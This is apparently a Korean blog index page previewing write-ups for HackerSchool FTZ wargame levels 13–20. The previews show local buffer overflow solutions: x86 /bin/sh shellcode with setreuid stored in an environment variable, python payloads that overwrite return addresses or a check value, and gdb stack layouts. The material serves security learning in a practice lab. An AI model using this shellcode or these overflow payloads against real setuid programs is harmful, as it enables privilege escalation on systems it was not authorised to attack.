HACKING/HACKERSCHOOL FTZ11 hackerschool ftz level 19, 20 문제 풀이 level19 아이디랑 비밀번호 입력해주고 안에 파일들 확인해보고 hint를 봅시당 이번엔 되게 짧은 코드! setreuid가 없어서 이게 포함된 41바이트의 쉘코드를 사용할 것이다. $export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` 바로 이것!! 그리고 쉘코드가 시작되는 주소를 찾기 위해서 echo 'int main() { printf("ADDR -> 0x%x\n", getenv("E.. 2021. 5. 13. hackerschool ftz level 17, 18 문제 풀이 level17 아이디랑 비밀번호 입력해주고 또~ 안에 내용 확인해보니! attackme와 hint가 보인다..! hint를 살펴보니 소스코드가 나왔다. 저번문제에는 shell함수가 있었는데 사라졌다 buf를 입력받고 쉘코드를 환경변수에 넣고 call주소로 쉘코드의 주소를 넣으면 될 듯 하다! 먼저 buf와 call거리를 보면 저번처럼 ebp-56, ebp-16으로 거리가 같다. export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 이렇게 쉘코드 넣어주고 tmp로 이동해서 echo 'int main() { .. 2021. 5. 13. hackerschool ftz level 15, 16 문제 풀이 level15 로그인하구, 역시나 안에 있는 파일들을 들여다본다.. hint가 보이니까 들여다보니 이번에도 attackme의 소스코드가 보이는 듯 하다. check의 값에 0xdeadbeef가 존재하는 곳의 주소를 넣어주어야 한다. gdb로 0xdeadbeef가 존재하는 곳의 주소를 찾아보아야 한다. beef가 세번째줄에 0x80484b0에 있다. 그 주변을 잘 뒤져보면 0xdeadbeef 찾을 수 있을 것 같아서 하나씩 늘려가면서 찾아보았다. 역시나! 0x80484b2에 존재한다. (python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme 지금까지 했던 것 처럼 저렇게 입력해주면! 진한 곳은 아까 deadbeef 있는 주소! 여기다가 my-pass.. 2021. 5. 12. hackerschool ftz level 13, 14 문제 풀이 level 13 level12에서 풀었던 비밀번호 이용해서 로그인해주고! 안에 뜯어봅니다. attackme랑 hint가 있네요 hint 내용을 살펴보며언 i가 0x1234567이 아니면 프로그램이 죽습니다. i가 먼저 선언되었으니까 i의 시작 주소가 buf의 시작 주소보다 높다는 것을 알 수 있어요 gdb를 통해서 분석에 들어갑니다. buf[1024] [ebp-1048] dummy[12] i[4] [ebp-12] dummy[8] SFP[4] RET[4] 이러한 구조를 갖는 것 같군요 buf[1024]와 dummy[12]를 쓸데 없는 값으로(A로 채울게요) 채워주고 i를 01234567로 채우고 dummy[8]과 SFP[4]를 다시 A로 채우고 리턴주소를 덮으면 됩니당 python -c 'print "A".. 2021. 5. 12. 이전 1 2 3 다음